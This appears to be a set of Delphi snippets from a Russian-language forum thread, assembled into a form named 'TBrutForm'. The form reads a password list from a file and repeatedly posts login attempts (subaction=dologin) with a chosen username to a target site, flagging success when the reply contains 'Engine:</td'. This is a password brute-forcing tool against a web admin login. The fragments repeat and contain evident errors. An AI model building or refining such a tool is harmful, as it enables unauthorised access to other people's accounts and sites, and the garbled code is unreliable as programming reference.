Stroki:TStringList;

Stroki:=TStringList.Create;
Stroki.LoadFromFile('file.txt');

var i:integer;
begin
for i:=0 to stroki.count-1 do  // если не ошибаюсь, нумерация строк Tstringlist начинается с 0, если все-таки ошибаюсь, то замени 0 на 1, и -1 убери...
begin
{
тут код.... обращаться к текущей строке stroki[i].text; - выведет текст текущей строки...
}
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 Stroki:TStringList;
begin
 Stroki:=TStringList.Create;
 Stroki.LoadFromFile('D:\filename.txt');
 Label1.Caption := Stroki.Count;
end;

 Label1.Caption := Stroki.Count;

procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
 Open1.InitialDir := GetCurrentDir;
if
 Open1.Execute
then
 Password.Text := Open1.FileName                              
else
 ShowMessage('Файл не выбран!');
end;

Label1.Caption := IntToStr(Stroki.Count);

procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
 Open1.InitialDir := GetCurrentDir;
if
 Open1.Execute
then
 begin
  Password.Text := Open1.FileName;
  Stroki:=TStringList.Create;
  Stroki.LoadFromFile(Open1.FileName); 
  Label1.Caption := IntToStr(Stroki.Count);
 end                            
else
 ShowMessage('Файл не выбран!');
end;

procedure TBrutForm.StartButtonClick(Sender: TObject);
var
  Http  : TidHttp;
  CM    : TidCookieManager;
  Data  : TStringList;
  StrPage, UserID,  UserName  :  String;
  Str1 : TStringList;
  i : Integer;
begin
  Str1:=TStringList.Create;
  Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
  try
    Http := TIdHTTP.Create(Self);
    Data := TStringList.Create;
    CM := TidCookieManager.Create(Http);
    Http.AllowCookies := true;
    Http.CookieManager := CM;
    Http.HandleRedirects := true;

    Http.Request.Host:=HostEdit.Text;
    Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
    Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
    Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
    Http.Request.Referer:=RefererEdit.Text;

    Data.Add('subaction=dologin');
    Data.Add('username='+NickEdit.Text);
    Data.Add('password='+Str1[i].Text);
    Data.Add('selected_language='+BoxLanguage.Text);
    StrPage := Http.Post(HTTPEdit.Text, Data);
  finally
    Data.Free;
    CM.Free;
    Http.Free;
    Str1.Free;
  end;

  if Pos('Engine:</td',StrPage) <> 0 then
    ShowMessage('Поздравляем авторизация прошла успешно!')
  else
    ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!');
end;

    Data.Add('password='+Str1[i].Text);